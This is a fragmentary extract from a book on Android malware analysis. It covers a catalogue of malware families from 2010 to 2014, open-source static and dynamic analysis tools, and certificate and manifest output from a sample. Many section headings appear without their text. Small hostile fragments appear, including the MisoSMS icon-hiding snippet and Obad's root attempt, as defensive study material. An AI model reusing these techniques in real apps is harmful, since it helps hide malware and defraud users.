Android Malware and Analysis
Android Malware and Analysis
AND ANALYSIS
AUERBACH PUBLICATIONS
www.auerbach-publications.com • To Order Call: 1-800-272-7737 • E-mail: [email protected]
ANDROID MALWARE
AND ANALYSIS
This book contains information obtained from authentic and highly regarded sources. Reasonable efforts
have been made to publish reliable data and information, but the author and publisher cannot assume
responsibility for the validity of all materials or the consequences of their use. The authors and publishers
have attempted to trace the copyright holders of all material reproduced in this publication and apologize to
copyright holders if permission to publish in this form has not been obtained. If any copyright material has
not been acknowledged please write and let us know so we may rectify in any future reprint.
Except as permitted under U.S. Copyright Law, no part of this book may be reprinted, reproduced, transmit-
ted, or utilized in any form by any electronic, mechanical, or other means, now known or hereafter invented,
including photocopying, microfilming, and recording, or in any information storage or retrieval system,
without written permission from the publishers.
For permission to photocopy or use material electronically from this work, please access www.copyright.
com (http://www.copyright.com/) or contact the Copyright Clearance Center, Inc. (CCC), 222 Rosewood
Drive, Danvers, MA 01923, 978-750-8400. CCC is a not-for-profit organization that provides licenses and
registration for a variety of users. For organizations that have been granted a photocopy license by the CCC,
a separate system of payment has been arranged.
Trademark Notice: Product or corporate names may be trademarks or registered trademarks, and are used
only for identification and explanation without intent to infringe.
Visit the Taylor & Francis Web site at
http://www.taylorandfrancis.com
P r e fa c e xi
A c k n o w l e d g m e n t s xiii
A u t h o r s xv
C o n v e n t i o n s xix
C h a p t e r 1 I n t r o d u c t i o n t o t h e A n d r o i d O p e r at i n g
S y s t e m a n d Th r e at s 1
Android Development Tools 2
Risky Apps 3
Looking Closer at Android Apps 5
a n d Ta x o n o m y 7
C h a p t e r 2 M a lwa r e Th r e at s , H o a x e s ,
2010 7
FakePlayer 7
DroidSMS 8
FakeInst 8
TapSnake 8
SMSReplicator 9
Geinimi 9
2011 10
ADRD 10
Pjapps 11
BgServ 11
DroidDream 11
Walkinwat 12
zHash 13
DroidDreamLight 13
v
vi C o n t en t s
Zsone 14
BaseBridge 14
DroidKungFu1 15
GGTracker 16
jSMSHider 16
Plankton 17
GoldDream 18
DroidKungFu2 18
GamblerSMS 19
HippoSMS 19
LoveTrap 19
Nickyspy 20
SndApps 20
Zitmo 21
DogWars 21
DroidKungFu3 22
GingerMaster 22
AnserverBot 23
DroidCoupon 23
Spitmo 24
JiFake 24
Batterydoctor 24
2012 25
AirPush 25
Boxer 25
Gappusin 26
Leadbolt 26
Adwo 26
Counterclank 27
SMSZombie 27
NotCompatible 27
Bmaster 27
LuckyCat 28
DrSheep 28
2013 28
GGSmart 28
Defender 29
Qadars 29
MisoSMS 29
FakeRun 30
TechnoReaper 30
BadNews 31
Obad 31
2014 32
DriveGenie 32
Torec 32
OldBoot 33
DroidPack 33
C o n t en t s vii
C h a p t e r 3 O p e n S o u r c e To o l s 35
Locating and Downloading Android Packages 36
Vulnerability Research for Android OS 37
Antivirus Scans 37
Static Analysis 38
Linux File Command 38
Unzip the APK 38
Strings 39
Keytool Key and Certificate Management Utility 39
DexID 39
DARE 40
Dex2Jar 40
JD-GUI 41
JAD 41
APKTool 41
AndroWarn 41
Dexter 42
VisualThreat 43
Sandbox Analysis 43
AndroTotal 45
APKScan 45
Mobile Malware Sandbox 45
Mobile Sandbox 45
Emulation Analysis 45
Eclipse 45
DroidBox 46
AppsPlayground 46
Native Analysis 46
Logcat 46
Traceview and Dmtracedump 46
Tcpdump 47
Reverse Engineering 47
Androguard 47
AndroidAuditTools 48
Smali/Baksmali 48
AndBug 48
Memory Analysis 48
LiME 49
Memfetch 49
Volatility for Android 49
Volatilitux 49
C h a p t e r 4 S tat i c A n a ly s i s 51
Collections: Where to Find Apps for Analysis 52
Google Play Marketplace 52
Marketplace Mirrors and Cache 53
Contagio Mobile 53
viii C o n t en t s
C h a p t e r 5 A n d r o i d M a lwa r e E v o l u t i o n 71
C h a p t e r 6 A n d r o i d M a lwa r e Tr e n d s a n d R e v e r s i n g
Ta c t i c s 77
C h a p t e r 7 B e h av i o r a l A n a ly s i s 91
Introduction to AVD and Eclipse 91
Downloading and Installing the ADT Bundle 92
The Software Development Kit Manager 93
Choosing an Android Platform 94
Processor Emulation 95
Choosing a Processor 95
Using HAXM 95
Configuring Emulated Devices within AVD 96
Location of Emulator Files 99
Default Image Files 100
Runtime Images: User Data and SD Card 100
Temporary Images 100
Setting Up an Emulator for Testing 101
Controlling Malicious Samples in an Emulated Environment 102
Additional Networking in Emulators 102
Using the ADB Tool 103
Using the Emulator Console 103
Applications for Analysis 104
Capabilities and Limitations of the Emulators 105
Preserving Data and Settings on Emulators 105
Setting Up a Physical Device for Testing 106
Limitations and Capabilities of Physical Devices 108
Network Architecture for Sniffing in a Physical Environment 109
Applications for Analysis 110
C o n t en t s ix
C h a p t e r 8 B u i l d i n g Yo u r O w n S a n d b o x 129
Static Analysis 130
Dynamic Analysis 131
Working Terminology for an Android Sandbox 131
Android Internals Overview 131
Android Architecture 132
Applications 133
Applications Framework 133
Libraries 134
Android Runtime 135
The Android Kernel 139
Build Your Own Sandbox 144
Tools for Static Analysis 144
Androguard 144
Radare2 146
Dex2Jar and JD-GUI 147
APKInspector 148
Keytool 148
Tools for Dynamic Analysis 149
TaintDroid 149
DroidBox 150
DECAF 151
TraceDroid Analysis Platform 151
Volatility Framework 152
x C o n t en t s
C h a p t e r 9 C a s e S t u dy E x a m p l e s 175
Usbcleaver 175
Checkpoint 180
Static Analysis 180
Checkpoint 185
Dynamic Analysis 185
Launch of the APK 187
Summary 195
Torec 196
B i b l i o g r a p h y 205
Preface
xi
x ii P refac e
Romans 6:23
x iii
Authors
xv
xvi Au t h o rs
A different font exists to clearly call out commands that one may
enter into an environment, such as an Ubuntu operating system, to
analyze code. Terminal examples assume that the user has navigated
to the local directory before attempting to run the command. This
makes it much simpler to provide direction in the book, essentially
listing only the local filename instead of a longer path. This requires
the reader to know the basics of opening a terminal window and
performing commands such as “ls” for listing files, “cd” for chang-
ing directory, and similar commands for navigation and execution of
code. Items in italics in a command line are variable, such as a file-
name that varies based upon the file being analyzed. Italics may also
be given for output results, which is obvious based on the context of
data italicized in code examples. An example follows of such conven-
tions for working with the Linux file command, assuming that the
user is in a terminal window with the path in the same directory as
the file called bad.apk.
file bad.apk
bad.apk: Zip archive data, at least v2.0 to extract
xix
xx C o n v en ti o ns
requires that classes.dex be in the local directory and that the user look
for strings.txt in that same local directory after running the command:
1
2 A n d r o id M a lwa re a n d A n a lysis
Risky Apps
With the rapid adoption and development of apps and solutions using
the Android operating system, a massive amount of assets now exist on
such mobile devices. These assets are of high interest to malicious actors
for a variety of means and motives. Many users of such devices enjoy the
functionality but do not realize or stop to consider how much informa-
tion is actually on a mobile device. Readers of this book may benefit by
asking the question, “What is the most important thing on my phone
that I wouldn’t want someone else to know, see, or steal?” The following
are a few possible answers from users of Android-supported devices.
Sensitive Information?
USER TYPE RESPONSE
Average consumer “My selfies and maybe my banking stuff?”
Executive “My contacts and proprietary information for business crown jewels.”
Law enforcement “Evidence collection including dates, times, and geolocation of images.”
Teenager “Texts and pics.”
Pulled over in a car “Any evidence that I was just texting or using my phone while driving.”
Baby in the womb “Ultrasound selfies, my lullaby ring tone, and texting Mom.”
Traveler “Do I have privacy while traveling abroad? What about countries that might
be trying to track me by my unique IMEI (International Mobile Equipment
Identity) number?”
4 A n d r o id M a lwa re a n d A n a lysis
With a little tongue in cheek in the list, it is clear that just about
everyone uses a mobile device, with the majority using Android.
Applications exist to reconstruct three-dimensional renderings of a
room, prayer reminders, recipes, music, and more. Mobile devices are
so powerful and integrated that far more information is available on
such a device than what most users realize. Just imagine your device
being compromised, taking photos of you, and everything it sees
without your knowledge or consent. This helps to illustrate the tip
of the iceberg in terms of the type of information, and profiling and
sensitive data one can obtain from a mobile device typically attached
at the hip to a user as they live their life.
Different types of malicious actors have a wealth of assets to access
on a mobile device. For example, eCrime actors can make money
through calls and text made to premium lines and subvert two-factor
banking authentication. Espionage actors can track the physical loca-
tion of a target and access a massive amount of sensitive information
and contacts on a mobile device. Hacktivists can stay in touch with
other activists as well as quickly ramp up protests by using mobile
devices. Consumers in countries where freedom of speech and human
rights are oppressed often find that a mobile device is their only pri-
mary means through which they can communicate with one another
and the free world en masse. These are a few of the many possible
applications and abuse employed by various nefarious groups and
interests linked back to Android-supported devices.
An interesting development is how advertisers collect informa-
tion to track user habits. For example, Latest Nail Fashion Trends 3.1
tracks the geolocation of users. What does geolocation and tracking
of a user have to do with nail fashion trends? Around 7 percent or
more of Android apps also read the contacts list such as Longman
Contemporary English 1.81. Again, why would such a program need
to read your contact list? Even more apps may leak a device ID/IMEI
such as Football Games—Soccer Juggle 1.4.2. Don’t forget e-mail,
with Logo Quiz Car Choices 1.8.2.9 leaking that information to the
author of the software. Next is the phone number, and so on—so
many apps with so many permissions that are not necessary and fre-
quently unrealized by consumers that install such apps.
In t r o d u c ti o n t o t he A n d r o id Op er atin g Sys t em 5
that simply bundle extra functionality with an app that users want
to install on a device. Because of how apps are managed, it is very
feasible to remove just a single hostile app and to change sensitive
information like passwords to mitigate an Android threat. This is
very different from a more traditional malware environment, such as
Windows, where an integrity breach may span across the entire user
account and other files and apps, and likely the entire machine and
all accounts thereof. Android analysts will likely end up focusing on
just specific apps related to research and incident response because of
this architecture.
2
M alware Thre ats ,
H oa xes , and Ta xonomy
2010
FakePlayer
7
8 A n d r o id M a lwa re a n d A n a lysis
app. Payload text appeared in Russian and the SMS it sent contained
the string “798657.” Texts are sent to a Russian premium SMS short
code numbers 3353 and 3354, which charge the user without his or
her knowledge. This Trojan does not have spreading capabilities and
is considered low risk.
DroidSMS
FakeInst
TapSnake
SMSReplicator
Geinimi
2011
ADRD
Pjapps
BgServ
DroidDream
Walkinwat
zHash
DroidDreamLight
Zsone
At first, Zsone appeared to be a typical SMS Trojan that had the abil-
ity to subscribe users in China to premium rate QQ codes via SMS
without their knowledge. A QQ code was a form of short code that
can subscribe users to SMS update or instant message services and
were primarily used in China. When started by the user, the app will
silently send an SMS message to subscribe the user to a premium-
rate SMS service without their authorization or knowledge. In one
instance, a subscription to three different services was possible. It was
later discovered that this Trojan took very careful steps of not alerting
the user with a flood of SMS messages. It did so by ensuring that a
user had not already been victimized before sending an SMS mes-
sage. It kept track of this by maintaining subscription state informa-
tion in an XML file, where a value of “Y” meant already subscribed.
This value was checked before sending the SMS. Infected apps were
discovered in the Android market and the author’s name was “zsone.”
BaseBridge
尊敬的用户,犹豫未经您的授权,本次请求未成功,如需使用,请致电10086进行
开通,中国移动
Translated into English, the message read: “Dear users, without your
authorization, this request is not successful, for the use, please call
10086 be opened, China Mobile.”
DroidKungFu1
GGTracker
jSMSHider
Plankton
the file in an on-access manner. A scan of this file only occurred with
an on-demand scan. Plankton was considered borderline malware
with a nonobvious malicious intent.
GoldDream
DroidKungFu2
Once installed, system-specific data is read from the device and writ-
ten to a local file that is subsequently uploaded, in the background, to
a remote server. In earlier versions of DroidKungFu, this functionality
was implemented in Java. However, in this version, the functionality
was moved to native code. In addition, this version had the ability to
contact three C&C servers when previous versions only contacted one.
This malware also carried a root exploit much like its predecessors.
M a lwa re T h re at s, H oa x e s, a n d Ta xo n o m y 19
GamblerSMS
HippoSMS
LoveTrap
Nickyspy
SndApps
Zitmo
DogWars
DroidKungFu3
GingerMaster
AnserverBot
DroidCoupon
Spitmo
Spitmo was the Android component of the SpyEye malware. Just like
Zitmo for Zeus, Spitmo, which stands for “SpyEye in the Mobile,”
intercepted the SMS message to intercept one-time bank passcodes
sent to the device. Spitmo ran quietly in the background giving the
appearance that it was a system service without ever revealing to the
user its true malicious purpose.
JiFake
JiFake was an SMS Trojan that sent messages containing the message
body 48876374538 to the premium rate number 5537. Its text was
presented in Russian. The Trojan masqueraded as Jimm, a popular
Russian-language ICQ app. The novelty of JiFake was its use of QR
codes to install itself on a device. The Trojan was found on malicious
sites using the malicious QR code. When a user scanned the QR code
with their device, the code redirected to a site that would install the
Trojan on the user’s device. Once installed, the JiFake would send
multiple SMS messages to premium-rate numbers.
Batterydoctor
recharge its battery. Its true purpose was to collect and send system-
specific information to a remote server. The app name was Battery
Doctor V2.3, published by Android Doctor.
2012
AirPush
Boxer
The Boxer malware family of SMS Trojans accounted for almost half of
all the newly discovered samples. It was repacked in several legitimate
applications identified in the Android market. Boxer masqueraded
as a fake installer for several popular legitimate apps such as Opera
browser, Skype, antimalware software, and Instagram. Once installed
it would send an SMS message leading to the download of a modified
application that could continue to send messages to premium numbers.
This functionality allowed attackers to target a wide range of countries
including those outside the country where the device was being used.
Boxer was able to go global by including in its malicious routine 63
countries across America, Asia, Africa, Europe, and Oceania. Out of
these 63 countries, 9 were from Latin America. As a result, Boxer was
considered to be the first Android malware attempting to target a very
large number of countries at the same time.
26 A n d r o id M a lwa re a n d A n a lysis
Gappusin
Leadbolt
Adwo
Adwo was an adware that got installed on a device as a bundle with the
application you downloaded. It displayed unwanted advertisements as
notifications and was to be considered privacy-invasive. These types of
M a lwa re T h re at s, H oa x e s, a n d Ta xo n o m y 27
ads were not easily blocked and usually required either the complete
removal of the infected application or another application to block the
ads from being pushed.
Counterclank
SMSZombie
NotCompatible
NotCompatible was the first piece of mobile malware to use Web sites
as a targeted distribution method. The malware was automatically
downloaded when a user visited an infected Web site via a device’s
browser. The downloaded application used a bit of social engineering
by disguising itself as a security update to convince a user to install it.
Once successfully installed, NotCompatible was capable of providing
access to private networks by transforming an infected device into a
network proxy, which could then be used to gain access to other pro-
tected information or systems.
Bmaster
LuckyCat
DrSheep
2013
GGSmart
Defender
Defender was the first ransomware discovered for the Android OS.
Masquerading under the name Android Defender, once installed on
the phone the user had to pay $99.99 to regain access to the device. A
heavy dose of social engineering was used to acquire device admin-
istration privileges. If granted, Defender could access any area of the
device. This gave Defender the ability to restrict access to any applica-
tion, disallow placing phone calls, change system settings, remove any
and all applications, disable all user input buttons including Back and
Home, launch itself on reboot, and execute a factory reset. Surprisingly,
it did not encrypt any data on the device, which is a common tactic of
most ransomware samples. A warning message appeared on the screen
regardless of what the user was doing on the device.
Qadars
MisoSMS
MisoSMS was one of the largest and most sophisticated botnets ever
discovered. It was believed to have been used in at least 65 spyware cam-
paigns; it was capable of collecting and sending SMS messages to remote
servers in China. It masqueraded as a type of Android administrative
30 A n d r o id M a lwa re a n d A n a lysis
task settings app called Google Vx. Once installed, it sent all SMS
messages to the attacker via SMTP to an e-mail address. The majority
of victims were based in Korea. The malware also requested adminis-
trative permission, which, if granted, was used to avoid detection by
hiding from the user. The malware contained the following copyright:
“This service is vaccine killer Copyright (c) 2013 google.org.” MisoSMS
used the following code snippet to hide from the user:
MainActivity.this.getPackageManager().setComponentEn-
abledSetting
MainActivity.this.getComponentName(), 2, 1);
FakeRun
FakeRun was a malware that deceived users into raising its app rank-
ing on Google Play. It masqueraded as an advertisement module stop-
per while actually including several of its own advertisement modules.
It was one of the most widespread malicious codes in the United States
with a strong presence in other countries and did not steal a user’s per-
sonal data. It was a member of a large family of dummy applications
whose sole purpose was to display ads that earned money for the mal-
ware authors. When FakeRun appeared in the Google Play market, it
forced users to give it a five-star rating and to share information about
the app on their Facebook accounts in order for the app to initially
execute. The only visual users ever received were annoying ads.
TechnoReaper
BadNews
Obad
This made deleting Obad from the device impossible after gaining
the extended privileges. Obad also had no declared activities; it ran
completely in the background without user awareness. To connect
with C&C servers, Obad would first check to ensure that the device
had Internet access and then it would download the main page of
Facebook.com. Obad then extracted a specific element from the page
and that was used as the decryption key for the strings containing the
C&C server addresses. Obad also attempted to obtain root privileges
with the command “su id”. The high number of unknown exploit-
able vulnerabilities used in Obad opened a new chapter in Android
malware, where future families may be engineered with the increased
complexity typically seen in Windows malware, making detection
and analysis that much harder.
2014
DriveGenie
Torec
Torec was the first Android malware to use a .onion domain as its
C&C server. The Trojan employed the Tor network built on a net-
work of proxy servers. Torec was a variant of the Orbot Tor client. The
malware authors added their own code to the application and use of
the functionality of the client. Torec was able to receive the follow-
ing commands from the C&C server: start/stop interception of both
incoming and outgoing SMS messages, perform a USSD request,
collect and send system-specific data, and send SMS messages to spe-
cific numbers. Employing Tor makes it impossible to shut down the
C&C server, but to implement this feature requires much more code
writing by the authors.
M a lwa re T h re at s, H oa x e s, a n d Ta xo n o m y 33
OldBoot
OldBoot was the very first bootkit created for the Android OS. It had
the unique capability to reinstall itself every time it was uninstalled
making its complete removal a bit challenging. When installing,
OldBoot partially self-installed in the boot partition of the file sys-
tem and modified initialization scripts responsible for OS component
installation, which allowed OldBoot to execute every time a device
was turned on. Two other installed components, named libgoogleker-
nel.so and GoogleKernel.apk, worked together to open a backdoor
from the device to a remote C&C server. The server issued commands
mostly focused on the download, installation, and removal of specific
apps. Even though these two components were easily removable, they
would be reinstalled every time the device was turned on.
DroidPack
Open source tools can be your best friend and your worst. This is
especially true with Android malware analysis software that is often
nonfunctional, quirky, or may require hours of manipulation to work
properly only to find out that it is not near as functional as one had
hoped. As users of these tools ourselves, because free is always the
right price, we have sifted through dozens of tools to provide an over-
view of each primary tool of value on the market at the time of writ-
ing this book. Of course there are always new and updated tools, and
changes to tools and links beyond the publication of this book, which
you can find online at our Web site http://androidrisk.com/.
The focus of open source tools in this chapter are for tools that are
efficient for a malware researcher to use in analyzing possible hostile
files, rather than that of apps that can be loaded onto a device such
as an antivirus app for signature leads and detection. There is some
value in such an approach, but in general, use of apps on a device that
is infected with malware is a complicated and unreliable environment
because of how malware may be influencing such apps postinfection.
The majority of tools and commands in this chapter are dedicated to
the analysis setup used by professionals to analyze possible hostile
code in static, dynamic, native, and reverse engineering settings.
Open source tools for the analysis of Android malware are broken
into several main categories based upon application of use. When a
tool can fit into multiple categories the primary category of use is where
it is listed to avoid duplication. Some tools, such as APKInspector
(apkinspector wiki), are not included in the list of tools because we
did not find them worth the trouble of installation or use. In the case
of APKInspector, it provides a graphical user interface with multiple
dependencies that are not trivial to setup and is buggy and less than
desired regarding performance once installed. Tools listed here are
the actual tools that authors of this book use for various stages of
Android malware analysis, largely from the freeware market.
35
36 A n d r o id M a lwa re a n d A n a lysis
Android malware samples via its own blogs and hosted mal-
ware samples.
• Advanced Search Engine Queries—https://www.google.com/
#q=inurl:virustotal.com+android&safe=off. Google is a pop-
ular tool that supports inurl:link-type options for searching
specific content. When performing such queries, a user may
quickly find information on a threat of interest, such as searching
for “inurl:virustotal.com droiddream android” (no quotes), for
example, https://www.google.com/#q=inurl:virustotal.com
+droiddream+android&safe=off. Varying specificity and the
types of data used in such advanced queries can often yield
important information about hashes, aliases, and leads toward
finding malware of interest.
Antivirus Scans
Static Analysis
Linux File Command
Built into Linux. Every malware researcher will tell you that you can
trust nothing when it comes to code of interest, especially an exten-
sion in a filename. Use the file command to quickly triage file types.
Android packages should appear as a ZIP archive.
file bad.apk
bad.apk: Zip archive data, at least v2.0 to extract
Built into Linux. Unzipping the APK reveals several files of interest,
including a certificate file, permissions, and source code for the app.
Right-click and extract or use a utility such as unzip within terminal
to unzip the app.
Op en S o ur c e T o o l s 39
Strings
Built into Linux. Strings are an essential part of any static malware
analysis, possibly providing clues related to malware construction,
functionality, authorship, C&Cs, and more. The most important
strings of an app are found in classes.dex, the source code of apps, after
they are unpacked. Other strings and files also matter but obviously
the source code of the app matters the most. This example assumes
that the terminal is in the local unpacked directory of the app where
classes.dex is present.
http://www.oracle.com/technetwork/java/javase/downloads/index.
html?ssSourceSiteId=otnjp. Keytool is built into the Java Development
Kit (JDK) commonly installed on any Linux system used to analyze
Android malware. Keytool prints out information of interest to an
app, such as the country code, city, and more. This information used
to be invaluable in the early days of Android malware, to help corre-
late to specific rogue developers, but is commonly faked or modified
in current day malware. Certificate data for an app is always found
within an extracted archive in the META-INF directory. The exam-
ple provided here exports Keytool output to a file called certificate.txt.
DexID
...omitted...
Catch list 1:
CatchAllAddr: 0xDA
StaticOffs: 00000000
FA7D6731 com.security.service.receiver.SmsReceiver
Detected: trojan://AndroidOS/Zitmo (New variant)
DARE
dare -d “/home/username/Desktop/bad.apk”
“/home/username/Desktop/DARE”
Dex2Jar
sh d2j-dex2jar.sh “/home/android/Desktop/bad.apk”
JD-GUI
http://code.google.com/p/innlab/downloads/detail?name=jd-gui-0.3.3
.windows.zip&can=2&q=. JD-GUI is a stand-alone tool for analyz-
ing Java class files, free for noncommercial use. This tool may be used
to view source code of classes.dex or a hostile APK converted to a
JAR/Class type file by tools like DARE. JD-GUI works in both
Windows and Linux because it is Java based, even though distribu-
tions are typically advertised for Windows.
JAD
APKTool
AndroWarn
Dexter
VisualThreat
Sandbox Analysis
There are multiple free sandbox analysis sites on the Internet. In many
cases, an Android sample may have already been analyzed by such a
tool providing additional metadata on dates, times, and functionality
at a given point in time related to a malware sample.
44 A n d r o id M a lwa re a n d A n a lysis
AndroTotal
APKScan
Mobile Sandbox
Emulation Analysis
Eclipse
Once an operating system is built, malware can be run inside of that sys-
tem and analyzed accordingly.
DroidBox
http://code.google.com/p/droidbox/. http://code.google.com/p/droid
box/wiki/APIMonitor. DroidBox is designed for dynamic analy-
sis within a virtualized machine. It requires Android Debug Bridge
(ADB), a command line tool. APIs are interposed into APK files and
code is inserted to perform dynamic analysis, rather than using hook-
ing tactics. API call logs can help explain APK behaviors.
AppsPlayground
Native Analysis
Logcat
http://developer.android.com/tools/debugging/debugging-tracing.
html. These two tools provide a graphical view of execution and call
stacks data in log files. Dmtracedump requires the Graphviz Dot utility.
Op en S o ur c e T o o l s 47
Tcpdump
http://www.tcpdump.org/. http://www.kandroid.org/online-pdk/guide/
tcpdump.html. Kandroid provides explicit instructions for how to
install Tcpdump to debug and trace netflow on a native device.
Reverse Engineering
Androguard
http://code.google.com/p/androguard/wiki/RE#Reverse_Engineering.
http://androguard.blogspot.com/. http://groups.google.com/group/
androguard. Androguard (AG) is one of the most robust freeware solu-
tions commonly used by Android malware researchers at the time of
the writing of this book. It is authored in Python and is highly exten-
sible, supporting analysis of DEX, ODEX, APK, and binary XML
files. It is also leveraged by several other tools in open source, such as
APKInspector, VirusTotal, Anubis, and others. Support also exists
online via chat at irc.freenode.net in the #androguard channel.
Once installed, use Python to call androlyze.py. This launches an
interactive shell that is much like a Python shell for building scripts
and variables to perform various actions. To learn about capabilities,
read online tutorials as well as use the “-h” parameter of the tool for
help. Individual tools provide additional information by using the “-i”
switch for more information, such as the following command:
python./androdiff.py -i
AndroidAuditTools
Smali/Baksmali
AndBug
Memory Analysis
• netstat
• route –n
• route –c
• ps aux
• ptrace
• /proc/<pid>/maps
• /proc/<pid>/fd
• dmesg
• lsmod
LiME
Memfetch
http://code.google.com/p/volatility/wiki/AndroidMemoryForensics.
Volatility is a Python framework for performing memory forensics,
not extended to the Android platform. Combining some native log-
ging and analysis with behavioral analysis and then memory forensics
can greatly increase analytical capabilities for Android malware.
Volatilitux
51
52 A n d r o id M a lwa re a n d A n a lysis
Google Play is the official marketplace for Android apps. The app
itself is called Google Play on devices, pointing to the aforementioned
Web site (https://play.google.com/store). Users may easily download
any app of interest from the site, with some being free and others
commercially developed apps. However, permissions through Google
Play do vary based on feature and geolocation, such as TV shows
only being available for a small number of countries. All countries
enable purchasing of apps through Google Play but select coun-
tries are supported for developers (merchants) being able to sell apps
through the marketplace (https://support.google.com/googleplay/
android-developer/table3539140?rd=1).
In the early days, rogue developer accounts were used to distribute
hostile apps through the official marketplace, such as the infamous
DroidDream with at least three rogue accounts and dozens of hostile
apps, which spread to the marketplace in 2011. Improved security con-
trols followed such events, with fraudsters now hijacking compromised
developer accounts or spreading code through other means, such as unof-
ficial “cracked” sites, distributing popular apps of interest to consumers.
S tati c A n a lysis 53
Multiple Web sites exist that mirror or host a large quantity of Android
apps of interest. For example, androidpolice.com and appbrain.com
are two such Web sites with a lot of Android content including apps.
In some cases, a new threat on the Google Play marketplace emerges
and is then mitigated by Google, but is still available on mirror and
third-party Web sites hosting the original content. Sometimes search-
ing through cache queries via a search engine may also reveal addi-
tional metadata, a download, or a download of interest for obtaining
a specific sample or hash value.
Contagio Mobile
Multiple groups exist for sharing mobile data, some of which are pri-
vate. The best way to get into such groups is to become active in the
54 A n d r o id M a lwa re a n d A n a lysis
File Data
Looking at just an Android app there are several common file data
points that one may immediately collect: filename, size, created, mod-
ified, and accessed times, and file type. A filename, like bad.apk, may
be useful later when looking for similar samples that may have unique
names or variants that may exist on other devices when handling an
incident investigation. The more unique a filename the more useful
it may become when performing correlation or searches for similar
threats or associated threat data. File size can also help narrow a
search if one or more APKs are identified as a specific size or within
a range of likely sizes. For example, one may search a commercial ser-
vice such as VirusTotal for samples by name and size to identify other
samples that may be or are directly related.
Dates and times associated with the file may also be useful in cor-
relating a threat. For example, an incident may involve threats that
emerged on or around a specific date. In some situations searching
for threats of a certain type, such as APK/apps on devices, matching
modified, accessed, or created (MAC) times may help discover other
S tati c A n a lysis 55
related threats installed in an attack. MAC times may also help paint
a picture of a campaign of codes, where variants are released over a
multimonth period showing development and deployment into the
wild over time.
File type is a type of content inspection, where the original file-
name bad.apk may be misleading. Sometimes files are not what they
claim to be, such as a file claiming to be of a different extension but
it is actually something different. For example, in the Windows mal-
ware world a BMP extension may actually be an executable masquer-
ading as an image file as a method of attempting to bypass detection
by simple IDS/IPS or incident response and forensic investigation
looking for an EXE or similar extension of concern. Using the FILE
command in Linux is a fast and easy way to identify the file type
regardless of the extension used by the file. Below is an example of
how to use the FILE command:
$ file abc.apk
abc.apk: Zip archive data, at least v2.0 to extract
some are less secure than others being inherently less robust or prone to
possible abuse such as collisions or other types of attacks.
On a practical level, an Android malware analyst should be iden-
tifying and searching for MD5, SHA1, and SHA256 values as these
are the values most commonly blogged about or found in common
data sets at the time of the writing of this book. As such, performing
search engine queries for all such values may help discover additional
information, abuse reports, samples, dates of a related incident and
more. A large number of tools exist to generate hash values of inter-
est, such as MD5SUM included in default installations of the Ubuntu
operating system.
$ md5sum abc.apk
153cf9b11ee14f1afb7c6e9a211d4b63 abc.apk
Other Metadata
Other metadata exists with various file types that can be invaluable in
an investigation to qualify or better understand possible hostile func-
tionality. Although the following example cannot possibly cover all
possibilities, common metadata points are introduced.
S tati c A n a lysis 57
Antivirus aliases identify dates and times, and if a sample was detected
a given date. This may be important when handling an incident, tell-
ing you if a hostile APK was undetected at the time of the incident.
Additionally, aliases may be descriptive or unique enough to lead to
an idea of functionality, a more thorough identification of a campaign
of interest, more information via a blog or antivirus report, or other
metadata in reports that may help guide analysis. Thorough antivirus
detections may also yield additional aliases that may help in research-
ing and analyzing a threat. For example, an individual may want to
analyze the infamous Moghava Android threat. Looking up an anti-
virus scan for a sample on VirusTotal reveals 31 out of 44 engines
having detected the sample, hash values, analysis date and time,
comments, votes, and a list of aliases. Aliases reveal that Stampeg
and Stamp are other common family names attributed to the same
code called Moghava by antivirus engines. Recursively searching
for related aliases may then reveal additional samples, antivirus scan
results, blogs, samples, and so on.
Unzipping an APK
Certificate Information
All apps must be signed or they will not install. In the early days
of Android threats, certificate information proved to be a gold mine
in some incidents, because rogue developers were able to distribute
codes freely within official marketplaces without recourse and did
not modify certificates. As a result, looking at certificate information
enabled researchers to quickly correlate threats of interest by the same
author. Since codes like DroidDream emerged in the wild, changes
have taken place within the security of apps resulting in bad actors
often modifying or faking certificate information. Bogus information
in many such apps today results in mostly useless information. As of
2013, a sharp increase in hostile apps containing abused legitimate
digital certificates emerged in the wild. As a matter of due diligence,
and the rare case where a certificate contains metadata of interest,
certificate analysis is a recommended best practice. Keytool is avail-
able within the SDK and JDK builds, which can be used to extract
certification information from an unpacked RSA file.
SHA1: 61:ED:37:7E:85:D3:86:A8:DF:EE:6B:86:4B:D8:5B:0
B:FA:A5:AF:81
Signature algorithm name: SHA1withRSA
Version: 3
Extensions:
#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 48 59 00 56 3D 27 2C 46 AE 11 86 05 A4 74 19 AC
HY.V=‘,F.....t..
0010: 09 CA 8C 11 ....
]]
#2: ObjectId: 2.5.29.19 Criticality=false
BasicConstraints:[
CA:true
PathLen:2147483647
]
#3: ObjectId: 2.5.29.35 Criticality=false
AuthorityKeyIdentifier [
KeyIdentifier [
0000: 48 59 00 56 3D 27 2C 46 AE 11 86 05 A4 74 19 AC
HY.V=‘,F.....t..
0010: 09 CA 8C 11 ....
]
[[email protected], CN=Android,
OU=Android, O=Android, L=Mountain View, ST=California,
C=US]
SerialNumber: [ 936eacbe 07f201df]
Permissions
<manifest android:versionCode=“1”
android:versionName=“1.0” android:installLocation=“int
ernalOnly” package=“com.security.service”><uses-per-
mission android:name=“android.permission.
60 A n d r o id M a lwa re a n d A n a lysis
RECEIVE_SMS”/><uses-permission android:name=“android.
permission.SEND_SMS”/><application android:theme=“@
style/AppTheme” android:label=“@string/app_name”
android:icon=“@drawable/ic_launcher” android:debuggabl
e=“true”><activity android:theme=“@style/Theme.
Transparent” android:name=“com.security.service.
MainActivity”><intent-filter><category
android:name=“android.intent.category.
LAUNCHER”/><action
android:name=“android.intent.action.MAIN”/></intent-
filter></activity><receiver android:name=“com.secu-
rity.service.receiver.ActionReceiver”
android:permission=“android.permission.RECEIVE_BOOT_
COMPLETED” android:enabled=“true”><intent-
filter><category android:name=“android.intent.
